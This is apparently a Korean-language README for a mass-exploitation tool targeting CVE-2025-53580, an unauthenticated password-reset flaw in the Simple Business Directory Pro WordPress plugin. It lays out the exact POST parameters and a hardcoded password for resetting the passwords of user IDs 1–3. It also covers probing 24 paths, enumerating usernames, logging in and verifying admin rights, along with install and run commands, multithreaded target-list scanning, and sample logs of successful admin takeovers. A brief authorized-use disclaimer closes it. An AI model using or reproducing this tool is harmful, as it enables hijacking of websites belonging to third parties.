
WordPress Simple Business Directory Pro Plugin < 15.6.9는 높은 우선순위의 권한 상승 취약점에 영향을 받습니다.
WordPress Simple Business Directory Pro 플러그인 < 15.6.9는 높은 우선순위의 권한 상승에 취약합니다
___ _ ___ __ __ __ ____ ____ ___ ____ __ __
/ (_)(_| |_// (_) / )/ \/ )| | / \| / \ / \
| | | \__ /| | / |___ |___ __/|___ \__/| |
| | | / -----/ | |/ \----- \ \ \/ \| |
\___/ \_/ \___/ /___\__//___\___/ \___/\___/\___/\__/ \__/
근본 원인:
플러그인은 프론트엔드 비밀번호 복원 폼(qcpd-restore-pwd)을 노출하며, 이 폼은 숫자로 된 qcpd-uid(워드프레스 사용자 ID)와 새로운 pass 값을 받습니다. 비밀번호가 변경되기 전에 인증, 토큰, 논스, 또는 이메일 확인이 강제되지 않습니다. 인증되지 않은 공격자는 단일 POST 요청을 제출하여 사용자 ID 1(일반적으로 사이트 관리자) 및 다른 모든 사용자의 비밀번호를 재설정한 다음, 주입된 비밀번호로 인증하여 전체 관리자 액세스 권한을 얻을 수 있습니다.
┌─────────────────────────────────────────────────────────────────┐
│ 1. SBD 복원 페이지 발견 │
│ 24개 후보 경로 프로브 → 본문에 "sbd" 포함된 항목 일치 │
│ │
│ 2. 사용자 ID별 비밀번호 재설정 │
│ POST <복원_url> │
│ qcpd-restore-pwd = restore │
│ qcpd-restore-pwd-type = user │
│ qcpd-uid = 1 (그 다음 2, 그 다음 3) │
│ pass = NxploitedNX │
│ │
│ 3. 사용자명 열거 │
│ /?author=1..9 → 리디렉션 / 본문 파싱 │
│ /wp-json/wp/v2/users → slug / username 필드 │
│ 호스트명 휴리스틱 + "admin" 대체 │
│ │
│ 4. 주입된 비밀번호로 로그인 │
│ POST /wp-login.php log=<user> pwd=NxploitedNX │
│ 확인: wordpress_logged_in 쿠키 존재 │
│ │
│ 5. 관리자 액세스 확인 (이중 방법) │
│ GET /wp-json/wp/v2/users/me → capabilities.manage_options│
│ GET /wp-admin/users.php → adminmenu / users 테이블 │
│ │
│ 6. 확인된 적중 기록 → Nx_sbd_login_hits.txt │
└─────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
python3 CVE-2025-53580.py
대상 목록 파일 (한 줄에 하나의 호스트/URL) [list.txt]: list.txt
스레드 (동시 사이트 수) [3]: 5
HTTP 타임아웃 (초) [10]: 10
성공 적중 파일 [Nx_sbd_login_hits.txt]: Nx_sbd_login_hits.txt
모든 재설정 시도에 주입되는 비밀번호는 내부적으로 고정되어 있습니다:
NxploitedNX
사이트당 대상이 되는 사용자 ID:
1,2,3(MAX_USER_ID로 설정 가능)
list.txthttps://target1.com
target2.com
http://target3.com
도구는 대상당 24개 경로를 스캔하여 본문에 sbd가 포함된 페이지를 찾습니다:
/login /log-in /signin /sign-in
/user-login /account/login /restore /password-reset
/reset-password /lost-password /lostpassword /user/restore
/my-account /members/login /member-login /customer-login
/wp-login.php /blog/login /auth/login /auth/restore
/sbd-login /sbd-restore /blog/log-in /account/log-in
모든 성공적인 로그인은 디스크에 기록되기 전에 두 가지 독립적인 검사를 통해 확인됩니다:
방법 1 — REST API:
GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true → 관리자 확인됨
방법 2 — 대시보드:
GET /wp-admin/users.php
→ adminmenu / users 테이블 마커 존재 → 관리자 확인됨
Nx_sbd_login_hits.txt
[2025-06-01 14:22:10] https://target.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)
[2025-06-01 14:23:05] https://target2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)
[info] https://target.com :: 시작 중
[ok] https://target.com :: https://target.com/my-account 에서 프론트엔드 sbd 페이지 발견
[info] https://target.com :: qcpd-uid=1..3 브루트 포스 시작 (비밀번호=NxploitedNX)
[info] https://target.com :: POST uid=1 → 상태=302, 위치=/my-account/?restored=1
[info] https://target.com :: POST uid=2 → 상태=302, 위치=/my-account/?restored=1
[info] https://target.com :: 사용자명 추출 중 및 로그인 시도 중
[ok] https://target.com :: 사용자='admin'에 대한 로그인 성공, 관리자 확인 중...
[ok] https://target.com :: 사용자='admin'에 대한 적중 → admin=True,
detail=ADMIN_CONFIRMED_REST(manage_options)
[warn] https://target2.com :: 후보 복원 경로에서 sbd 페이지를 찾을 수 없음, 건너뜀
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
공인된 보안 연구 및 교육 목적으로만 사용하십시오.
저자는 운영자가 소유하거나 명시적인 서면 허가를 받지 않은 시스템에 대해
이 도구를 사용하는 것에 대해 어떠한 책임도 지지 않습니다.
허가되지 않은 사용은 CFAA, CMA 및 전 세계의 동등한 법률을 위반합니다.
귀하의 행동에 대한 책임은 오직 귀하에게 있습니다.
© 2025 Nxploited · Simple Business Directory Pro < 15.6.9 · 15.6.9에서 수정됨
| 항목 | 세부사항 |
|---|
| CVE | CVE-2025-53580 |
| 플러그인 | quantumcloud Simple Business Directory Pro (simple-business-directory-pro) |
| 영향을 받는 버전 | 모든 버전 < 15.6.9 |
| 인증 | 필요 없음 |
| 유형 | 잘못된 권한 할당 → 인증되지 않은 비밀번호 재설정 |
| CWE | CWE-266 · 잘못된 권한 할당 |
| 방법 | 엔드포인트 |
|---|
| 작성자 리디렉션 | /?author=1 → /?author=9 |
| REST API | /wp-json/wp/v2/users → slug + username |
| 호스트명 휴리스틱 | 도메인의 첫 번째 레이블 |
| 하드코딩된 대체 | admin 항상 포함 |